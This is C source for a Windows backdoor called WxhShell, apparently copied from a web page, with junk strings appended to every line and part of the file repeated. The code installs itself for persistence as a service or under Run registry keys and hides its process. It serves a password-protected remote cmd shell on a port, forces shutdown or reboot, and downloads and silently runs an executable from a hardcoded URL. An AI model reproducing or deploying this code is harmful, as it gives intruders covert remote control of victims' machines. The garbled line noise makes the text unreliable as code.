    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z>rY9VvWD  
    if(Boot(SHUTDOWN)) nr!N%Hi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g52a vG  
    else { L44m!%q  
    closesocket(wsh); I.<c{4K5  
    ExitThread(0); 2{OR#v~  
    } Kgbm/L0XR*  
    break; OviS(}v4@  
    } )kD/ 8  
  // 获取shell CKsVs.:u  
  case 's': { ]{>AU^=U  
    CmdShell(wsh); 7{;it uqX  
    closesocket(wsh); ?"B] "%M&  
    ExitThread(0); ,lyW'<~gA  
    break; xA] L0h]  
  } ]?Ef0?44  
  // 退出 + ?1GscJ   
  case 'x': { 8Lo#{`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f[^f/jGm  
    CloseIt(wsh); K+B978XD  
    break; %Sr+D{B  
    } x$Dq0FX!%_  
  // 离开 ;a:H-iC  
  case 'q': { )BP*|URc  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K@D\5s|1|  
    closesocket(wsh); mDB  
    WSACleanup(); V>Wk\'h  
    exit(1); \/a6h   
    break; {MUB4-@?F$  
        } r~4uIUE{  
  } c`;\sW-_W  
  } zzqJeIS  
Uzu6>yT  
  // 提示信息 [M?2axOC  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HgI!q<)  
} x]~TGzS  
  } w0pMH p'Y  
$XBK_ 5  
  return; zG!nqSDG  
} dAo;y.3  
Rj8%% G-pt  
// shell模块句柄 P]_d;\ !"v  
int CmdShell(SOCKET sock) 8%?y)K^ D  
{ K1B9t{T  
STARTUPINFO si; MmuT~d/  
ZeroMemory(&si,sizeof(si)); kB\{1;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E~'mxx~i  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x(_[D08/TT  
PROCESS_INFORMATION ProcessInfo; *b~6 BM$  
char cmdline[]="cmd"; p?@ %/!S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @mp`C}x"0&  
  return 0; je4l3Hl  
} bDI%}k9#  
"q@m6fs  
// 自身启动模式 c OYD N[k  
int StartFromService(void) okNo- \Dh!  
{ G0cG%sIl  
typedef struct Tkbao D  
{ .])prp8  
  DWORD ExitStatus; NFK`,  
  DWORD PebBaseAddress; eI #Gx_mg  
  DWORD AffinityMask; APQq F/  
  DWORD BasePriority; 6b|?@  
  ULONG UniqueProcessId; 8)i""OD@I  
  ULONG InheritedFromUniqueProcessId; g?C;b>4  
}   PROCESS_BASIC_INFORMATION; bF)G+IH  
s27IeF3  
PROCNTQSIP NtQueryInformationProcess; hsZ/Vnn`  
H}@:Bri  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; eim+oms  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vqf$("  
2ZH+fV?.  
  HANDLE             hProcess;  Cs,H#L  
  PROCESS_BASIC_INFORMATION pbi; Ucj?$=  
2_o#Gx'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nQ%HtXt;  
  if(NULL == hInst ) return 0; vW63j't_  
{h<D/:^v  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @ [$_cGR7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y4V:)@ P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s0kp(t!fiu  
gT+/nSrLV  
  if (!NtQueryInformationProcess) return 0; V7ph^^sC}  
: Mf"   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a QH6akH  
  if(!hProcess) return 0; gr=h!'m  
%x)b Z=An  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +2tQ FV;  
==[,;g x  
  CloseHandle(hProcess); +^)v"@,VP  
/@os*c|je  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +SJ.BmT  
if(hProcess==NULL) return 0; {K(mfTqm  
IG-\&  
HMODULE hMod; N^^0j,  
char procName[255]; X1L@ G  
unsigned long cbNeeded; K %^n.  
BHXi g~d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OWd'z1Yl  
GkIE;7#2kX  
  CloseHandle(hProcess); *bkb-n Kw  
!>UlvT-  
if(strstr(procName,"services")) return 1; // 以服务启动 {Gxe%gu6K  
7  ,Rg~L  
  return 0; // 注册表启动 :Pud%}'  
} c :R?da  
"Fz.# U  
// 主模块 "gM^o  
int StartWxhshell(LPSTR lpCmdLine) >rnVT K  
{ Z$oy;j99y  
  SOCKET wsl; h}bfZL  
BOOL val=TRUE; n*4`Tduu^  
  int port=0; "LyD  
  struct sockaddr_in door;  cby#  
i`,FXF)  
  if(wscfg.ws_autoins) Install();  ;C]Ufk  
^?z%f_ri  
port=atoi(lpCmdLine); 8hRcB[F~S  
1MelHW  
if(port<=0) port=wscfg.ws_port; v=`yfCX-qX  
Iv`IJQH>  
  WSADATA data; 8:cbr/F<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H= dIZ  
?^|`A}q#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   18g_v"6o  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :_{8amO  
  door.sin_family = AF_INET; Cu"Cpt[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .UyE|t4  
  door.sin_port = htons(port); HL)!p8UHJ  
J3 $>~?^1  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~lj~]j  
closesocket(wsl); 0D-`>_  
return 1; ]`^! ]Ql  
} M  .#}  
3? {AGJ1  
  if(listen(wsl,2) == INVALID_SOCKET) { !(s n9z#  
closesocket(wsl); e3~MU6  
return 1; > mGH4{H  
} 8\"<t/_ W  
  Wxhshell(wsl); ZbnAAbfKH  
  WSACleanup(); Uqr>8|t?  
+`y(S}Z  
return 0; +9)Jtm oL  
]5!3|UYS  
} OG\i?N  
lFBdiIw  
// 以NT服务方式启动 A q i:h]x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m 0HK1'  
{ .hTqZvDa  
DWORD   status = 0; Q=~"xB8  
  DWORD   specificError = 0xfffffff; PK*Wu<<  
\0$+*ejz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q PH=`s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A=|XlP$6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3^xUN|.F*V  
  serviceStatus.dwWin32ExitCode     = 0; {I#_0Q,i  
  serviceStatus.dwServiceSpecificExitCode = 0; J~~\0 u  
  serviceStatus.dwCheckPoint       = 0; b UG,~\Z  
  serviceStatus.dwWaitHint       = 0; 0RR|!zEu  
 T:}Q3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Y$'j9bUJ  
  if (hServiceStatusHandle==0) return; 1HJ: ?]  
;p`1Y<d-O  
status = GetLastError(); mvn- QP~"  
  if (status!=NO_ERROR) Pz4#>tP  
{ w,{h9f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]lWqV  
    serviceStatus.dwCheckPoint       = 0; N['DqS =  
    serviceStatus.dwWaitHint       = 0; {gMe<y  
    serviceStatus.dwWin32ExitCode     = status; fI.|QD*$b  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]ua3I}_B6v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )>a~%~:  
    return; js$R^P  
  } }1a}pm2p  
os V6=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  A l[ZU  
  serviceStatus.dwCheckPoint       = 0; wO??"${OH  
  serviceStatus.dwWaitHint       = 0; K:Z$V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7Sdo*z  
} A U~DbU0O  
( eV,f  
// 处理NT服务事件,比如:启动、停止 \"P{8<h.3  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [6GYYu\  
{ lyn%r  
switch(fdwControl) TrI+F+;  
{ R'BB-  
case SERVICE_CONTROL_STOP: :e<jD_.X  
  serviceStatus.dwWin32ExitCode = 0; MU<(O}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6?Ncgj &@  
  serviceStatus.dwCheckPoint   = 0; 0R x#Fm  
  serviceStatus.dwWaitHint     = 0;  ?kjQ_K  
  { ^WA7X9ed  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F^,:p.ihm<  
  } $]7f1U_e  
  return; Mj0 ,Y#=76  
case SERVICE_CONTROL_PAUSE: ZmK=8iN9J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +eVYy_bL-  
  break; 1tuvJ+`{  
case SERVICE_CONTROL_CONTINUE: bWSN]]e1#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8SRR)O[)}  
  break; ]n^iG7aB?  
case SERVICE_CONTROL_INTERROGATE: xoZ m,Pxd  
  break; ~nZcA^b#DQ  
}; 5xH=w:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "*vrrY  
} 6w.E Sm  
{Jn0G;  
// 标准应用程序主函数 wt($trJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ==Gc%  
{ `_/bg(E  
--h\tj\U  
// 获取操作系统版本 ^ h=QpH  
OsIsNt=GetOsVer(); 2D 4,#X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); LV}R 9f  
SYJO3cY  
  // 从命令行安装 -()WTdIy  
  if(strpbrk(lpCmdLine,"iI")) Install(); c~0kZA6  
m*^)#  
  // 下载执行文件 zt.k Nb  
if(wscfg.ws_downexe) { 7# AIX],  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =D<0&M9C  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]545:)Q1  
} Ft5A(P >  
*%xbn8  
if(!OsIsNt) { Y ^^4n$  
// 如果时win9x,隐藏进程并且设置为注册表启动 5c- P lm%  
HideProc(); Dka,v  
StartWxhshell(lpCmdLine); C-M_:kQ[U  
} ^'3c%&Zf3  
else jY6GWsh:9  
  if(StartFromService()) %QP[/5vQ  
  // 以服务方式启动 /x3*oO1  
  StartServiceCtrlDispatcher(DispatchTable); pBtO1x6x/  
else `[H^ `   
  // 普通方式启动 :7e*- '  
  StartWxhshell(lpCmdLine); gt{kjrTv&  
D e&,^"%  
return 0; 5lsslE+:J  
}  ETZf  
U]hqRL  
Yp\n=#$[  
!y_FbJ8KC  
=========================================== 9xA4;)36  
Y?^liI`#  
o3 0C\  
}`=7%b`-?  
e=;A3S  
CR4O#f8\  
" yr\ClIU  
0%%1:W-  
#include <stdio.h> Jn+-G4h$  
#include <string.h> ?Q:SVxzUd  
#include <windows.h> mTe3%( LD  
#include <winsock2.h> "ESc^28  
#include <winsvc.h> )KZMRAT-  
#include <urlmon.h> PUQ",;&y1  
<]Td7-n  
#pragma comment (lib, "Ws2_32.lib") TV`1&ta  
#pragma comment (lib, "urlmon.lib") t6Iy5)=zY  
BU -;P  
#define MAX_USER   100 // 最大客户端连接数 bEcs(Mc~  
#define BUF_SOCK   200 // sock buffer |[],z 8  
#define KEY_BUFF   255 // 输入 buffer t/ \S9  
a1pp=3Pd?~  
#define REBOOT     0   // 重启 @i ~A7L0/  
#define SHUTDOWN   1   // 关机 +4yre^gC  
`v -[&  
#define DEF_PORT   5000 // 监听端口 ~'M<S=W  
nJI2IPZ  
#define REG_LEN     16   // 注册表键长度 8AR8u!;8  
#define SVC_LEN     80   // NT服务名长度 4t*%(  
gC}}8( k  
// 从dll定义API ?]><#[?'L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]>M\|,wh  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E &9<JS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nDn J}`k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l uP;P&  
/r4l7K  
// wxhshell配置信息 T)P)B6q   
struct WSCFG { [!uzXVS3  
  int ws_port;         // 监听端口 |r~u7U\  
  char ws_passstr[REG_LEN]; // 口令 V$ZclV2:Ih  
  int ws_autoins;       // 安装标记, 1=yes 0=no N.*)-O  
  char ws_regname[REG_LEN]; // 注册表键名 Kq[4I[+R  
  char ws_svcname[REG_LEN]; // 服务名 I>?oVY6M@u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |]-Zz7N)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q>_<\|?%x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kQkc+sGJf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 36.,:!%p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }MaY:PMA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WW:G( \`  
^ ]9K>}  
}; ///Lg{ ie  
96w2qgc2  
// default Wxhshell configuration bK:U:vpYm  
struct WSCFG wscfg={DEF_PORT, 0?54 8yH  
    "xuhuanlingzhe", [9 MH"\  
    1, <vcU5 .K.  
    "Wxhshell", xn*$Ty+  
    "Wxhshell", y#Dh)~|k  
            "WxhShell Service", pGD@R=8  
    "Wrsky Windows CmdShell Service", xMr,\r'+  
    "Please Input Your Password: ", JQ?`l)4  
  1, M5{#!d}^D  
  "http://www.wrsky.com/wxhshell.exe", 1.14tS-}[4  
  "Wxhshell.exe" w_{tS\  
    }; Qvp"gut)%X  
JuO47}i]5  
// 消息定义模块 ~,/@]6S&Y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?t YZ/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .D@J\<,+l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; q-!H7o  
char *msg_ws_ext="\n\rExit."; >'4A[$$4mM  
char *msg_ws_end="\n\rQuit."; NQ`D"n  
char *msg_ws_boot="\n\rReboot..."; ]5'$EAsuW  
char *msg_ws_poff="\n\rShutdown..."; 8m"k3:e^  
char *msg_ws_down="\n\rSave to "; 3(c-o0M  
`,]Bs*~  
char *msg_ws_err="\n\rErr!"; 8>YF}\D V  
char *msg_ws_ok="\n\rOK!"; 1<ag=D`F_"  
^+x?@$rq  
char ExeFile[MAX_PATH]; ^fsMfB  
int nUser = 0; 6*i **  
HANDLE handles[MAX_USER]; G _cJI  
int OsIsNt; F*P0=DD  
^;EhKG  
SERVICE_STATUS       serviceStatus; JmCMFq B9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; DFMpU.BN W  
gsL=_# ?  
// 函数声明 e!5} #6Kd  
int Install(void); rpKZ>S|7+)  
int Uninstall(void); @` KYgjjH  
int DownloadFile(char *sURL, SOCKET wsh); , ;,B7g  
int Boot(int flag); l@);U%\pS  
void HideProc(void); ]s=|+tz\V  
int GetOsVer(void); ;TL.QN/l  
int Wxhshell(SOCKET wsl); `<9>X9.+  
void TalkWithClient(void *cs); LGt>=|=bj  
int CmdShell(SOCKET sock); c`<2&ke  
int StartFromService(void); 3y)\dln  
int StartWxhshell(LPSTR lpCmdLine); PCl5,]B}  
~xd?y*gk;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9[/0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k|-\[Yl.  
s70Z&3A  
// 数据结构和表定义 wsmgkg  
SERVICE_TABLE_ENTRY DispatchTable[] = HAn{^8"@  
{ -+"#G?g  
{wscfg.ws_svcname, NTServiceMain}, B[Lm}B[  
{NULL, NULL} 6nTM~]5.  
}; WJq>%<#  
c9+G Qp  
// 自我安装 G[KjK$.Ts?  
int Install(void) [1rQ'FBB^1  
{ =muQ7l:(  
  char svExeFile[MAX_PATH]; "'CvB0>   
  HKEY key; z>PVv)X  
  strcpy(svExeFile,ExeFile); \\SQACN  
1gHe$ dzXk  
// 如果是win9x系统,修改注册表设为自启动 c~hH 7/v  
if(!OsIsNt) { ]c>@RXY'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m[}P  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v_XN).f;  
  RegCloseKey(key); kk78*s {6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v +4v  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2W+~{3[#  
  RegCloseKey(key); V&f*+!!2  
  return 0; C&z!="hMhR  
    } "L2*RX.R  
  } jZ.yt+9  
} T ipH}  
else { X9| Z ?jJ  
`bQ_eRw}  
// 如果是NT以上系统,安装为系统服务 vgeqH[:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *aCL/:  
if (schSCManager!=0) =d8Rij-  
{ +0Q   
  SC_HANDLE schService = CreateService {]>c3=~FQb  
  ( [S'1OR$FQ\  
  schSCManager, Q:q0C  +T  
  wscfg.ws_svcname, kgo#JY-4  
  wscfg.ws_svcdisp, >SXSrXyYX  
  SERVICE_ALL_ACCESS, Y|R=^ =d\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _9>,9aL  
  SERVICE_AUTO_START, Hf('BagBL  
  SERVICE_ERROR_NORMAL, SRfh{u  
  svExeFile, m]?Z_*1  
  NULL, 9\"\7S/Z  
  NULL, W^iK9|[qp  
  NULL, &%fcGNzJQ  
  NULL, V ,KIi_Z  
  NULL ^{"i eVn  
  ); h8(#\E  
  if (schService!=0) z)T-<zWO;  
  { qy|bOl  
  CloseServiceHandle(schService); {\5(aQ)Vi5  
  CloseServiceHandle(schSCManager); [ K?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;^/ruf[t  
  strcat(svExeFile,wscfg.ws_svcname); Rs=Fcvl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g !^N#o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~IZ-:?+S^  
  RegCloseKey(key); I<2`wL=  
  return 0; ?J2{6,}O*.  
    } Xy(QK2|  
  } c=u+X` Q  
  CloseServiceHandle(schSCManager); 4 $R!)  
} [#GBn0BG)  
} 3uYLA4[-B  
=G}a%)?As\  
return 1; [ bnu DS  
} =b%f@x_U1  
s:_hsmc"  
// 自我卸载 b%lB&}uw}  
int Uninstall(void) HwFg;r  
{ TFkG"ev  
  HKEY key; ) k/&,J3  
0#NMNZ  
if(!OsIsNt) { QD.5o S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .6gx|V+  
  RegDeleteValue(key,wscfg.ws_regname);  ,t 2CQ  
  RegCloseKey(key); FJ84 'T\~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A'w+Lc.2  
  RegDeleteValue(key,wscfg.ws_regname); "c[>>t  
  RegCloseKey(key); 4(\1z6?D  
  return 0; :Ak^M~6a5  
  } D#<y pJR  
} L9/'zhiZBx  
} )FwOg;=3M"  
else { =\]gL%N-|  
w5z]=dN  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); mRx `G(u:v  
if (schSCManager!=0) b_Y+XXb<  
{ 9SeGkwec?$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); (`4&h%g  
  if (schService!=0) r)S:= Is5  
  { I~l_ky|a !  
  if(DeleteService(schService)!=0) { S+06pj4Ie  
  CloseServiceHandle(schService); |6d:k~p  
  CloseServiceHandle(schSCManager); HJr/N)d  
  return 0; 6teu_FS  
  } Q3>qT84  
  CloseServiceHandle(schService); r^"o!,H9q  
  } :fmV||Q  
  CloseServiceHandle(schSCManager); MLr L"I"  
} .g/!u(iy  
} VQ!4( <XD  
9]3l'  
return 1; r5&c!b\  
} ScJ:F-@>  
xd3mAf  
// 从指定url下载文件 cPIyD?c  
int DownloadFile(char *sURL, SOCKET wsh) L^e*_q2d:>  
{ 2>"{El|PbN  
  HRESULT hr; HV!P]82Pa  
char seps[]= "/"; IRM jL.q  
char *token; %enJ[a%Qg  
char *file; ` .`:~_OE  
char myURL[MAX_PATH]; ]}SV%*{ %  
char myFILE[MAX_PATH]; R{}_Qb  
!& c%!*  
strcpy(myURL,sURL); > X  AB#  
  token=strtok(myURL,seps); (NUXK  
  while(token!=NULL) ;2h"YU-b  
  { cV:Q(|QC  
    file=token; +PYR  
  token=strtok(NULL,seps); p3fV w]N  
  } >]}VD "\  
RCqL~7C+ k  
GetCurrentDirectory(MAX_PATH,myFILE); 3Dc^lfn  
strcat(myFILE, "\\");  ~@@t-QY  
strcat(myFILE, file); F@/syX;bb5  
  send(wsh,myFILE,strlen(myFILE),0); toF6 Z  
send(wsh,"...",3,0); 'NWvQR<X  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); BfCib]V9C  
  if(hr==S_OK) =SJ[)|  
return 0; |QzJHP @  
else ' Sd&I:?  
return 1; h%:wIkZ/  
a:|]F|  
} b c .Vy  
CWs;1`aP  
// 系统电源模块 *RkvM?o@jC  
int Boot(int flag) ~=wBF  
{ ,hK =x  
  HANDLE hToken; mp3Dc  
  TOKEN_PRIVILEGES tkp; 7TAoWD3  
a w~a /T:  
  if(OsIsNt) { 'PMzm/;8st  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;$a|4_U$m  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l$BKE{rg  
    tkp.PrivilegeCount = 1; 3!;o\bgK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )P1NX"A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ^umHuAAE  
if(flag==REBOOT) { Ahd{f!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) M]\"]H?  
  return 0; oQyMs>g  
} T5~Qfl?Y  
else { #oGvxc7  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) " 6$+B/5  
  return 0; g 'L$m|  
} ^(xVjsHp#  
  } 7.5\LTM>9e  
  else { 17Q* <iCs  
if(flag==REBOOT) { j@Us7Q)A(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nkkGJV!  
  return 0; suj}A  
} Vfw +m1sS  
else { /C<} :R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) # 9f 4{=\  
  return 0; cNN_KA  
} jM@@N.  
} AM gvk`<f  
;c~DBJg'|  
return 1; F7x< V=4{  
} p|Fhh\,*`X  
G`!;RX  
// win9x进程隐藏模块 A&'HlI% J  
void HideProc(void) F0NNS!WP7^  
{ DA4!-\bt@  
J! eVw\6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nfvs"B;  
  if ( hKernel != NULL ) I^ A01\p  
  { ;rta#pRn  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); FHH2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); = &aD!nTx  
    FreeLibrary(hKernel); .+AO3~Dg  
  } ldoN!J  
~w%Z Bp  
return; =TI|uD6T  
} eWx6$_|  
VA'<  
// 获取操作系统版本 RZE:WE;5  
int GetOsVer(void) HNoh B4vt  
{ e$(i!G)  
  OSVERSIONINFO winfo; 7 -V_)FK2c  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); f4T-=` SO  
  GetVersionEx(&winfo); ?Ve5}N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) S+OI?QS  
  return 1; ")M.p_b[Z=  
  else u= +  
  return 0; f{z%PI[  
} {78*S R  
PuABS>.;  
// 客户端句柄模块 ~KfjT p#  
int Wxhshell(SOCKET wsl) -+I! (?  
{ l1_X5DI  
  SOCKET wsh; m~NWY$oI9[  
  struct sockaddr_in client; Xhkw<XbV  
  DWORD myID; &akMj@4;R  
9'8oOBqm3%  
  while(nUser<MAX_USER) f&cG;Y  
{ 3yD5u  
  int nSize=sizeof(client); |-aj$u%~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1aMBCh<}JN  
  if(wsh==INVALID_SOCKET) return 1; 3x9C]  
TuCOoz@d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R;V(D3  
if(handles[nUser]==0) 5BCaE)J  
  closesocket(wsh); 'Jl.fN  
else s3kEux^  
  nUser++; mg,f>(  
  } .y2<2eW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }>XSp)"{l  
(&hX8  
  return 0; qK1V!a2  
} (1} Ndo^;w  
`y6l^ep  
// 关闭 socket m<f{7]fi5  
void CloseIt(SOCKET wsh) d<b,LD^  
{ E:E &Wv?r  
closesocket(wsh); =L wX+c  
nUser--; `Zi#rr|)L  
ExitThread(0); o5$K^2^g  
} K+$c,1wb  
{4m"S 7O  
// 客户端请求句柄 a&ByV!%%+_  
void TalkWithClient(void *cs) ft6^s(t  
{ A0X0t  
O}D8  
  SOCKET wsh=(SOCKET)cs; tB3CX\e  
  char pwd[SVC_LEN]; \+~4t  
  char cmd[KEY_BUFF]; 7Y*m_AhxJ  
char chr[1]; i:8^:(i  
int i,j; Cw|SY  
835Upj>  
  while (nUser < MAX_USER) { CGe'z  
p+7BsW.l  
if(wscfg.ws_passstr) { !^fJAtCN]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;VFr5.*x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,] {NZ9  
  //ZeroMemory(pwd,KEY_BUFF); EXFxiw  
      i=0; rYS D-Kq  
  while(i<SVC_LEN) { *f#4S_ws`  
2M#CJ&  
  // 设置超时 1DcarF  
  fd_set FdRead; # |I@`#O  
  struct timeval TimeOut; O]g+z$2o  
  FD_ZERO(&FdRead); -9*WQU9R  
  FD_SET(wsh,&FdRead); `pMI[pLZe  
  TimeOut.tv_sec=8; _Lb& 2 PAG  
  TimeOut.tv_usec=0; EDQJ>c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); r"[T9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); nm-Y?!J  
|YFD|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ` j<tI6[e  
  pwd=chr[0]; ?^vZ{B)&0E  
  if(chr[0]==0xd || chr[0]==0xa) { J| '(;Ay4u  
  pwd=0; yrs3`/  
  break; U[D<%7f  
  } ZtLn*M  
  i++; ?.4l1X6Ba  
    } ncdr/(`  
.am*d|&+G  
  // 如果是非法用户,关闭 socket ~=mM/@HD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); feW9 >f;  
} p,8Z{mLn  
VT7NWT J,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "'#Hh&Us  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _MEv*Q@o  
%S#"pKE6 R  
while(1) { L>b,}w  
"y0 A<-~  
  ZeroMemory(cmd,KEY_BUFF); R7{hoqI2  
\IfgL$+  
      // 自动支持客户端 telnet标准   (B-9M)  
  j=0; 5w1[KO#K|  
  while(j<KEY_BUFF) { ,R =VzP&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~\G3 l,4  
  cmd[j]=chr[0]; P.B'Gh#^  
  if(chr[0]==0xa || chr[0]==0xd) { ]c2| m}I{:  
  cmd[j]=0; OJ 5 !+#>  
  break; mD)O\.uA  
  } ix+x-G  
  j++; q_&IZ,{Vk  
    } *~uuCLv_  
{ bn#:75r  
  // 下载文件 !?*!"S-Sl  
  if(strstr(cmd,"http://")) { Y%l3SB,5L  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~Wm}M  
  if(DownloadFile(cmd,wsh)) :a@z53X@M  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $SVGpEw  
  else )+,jal^7  
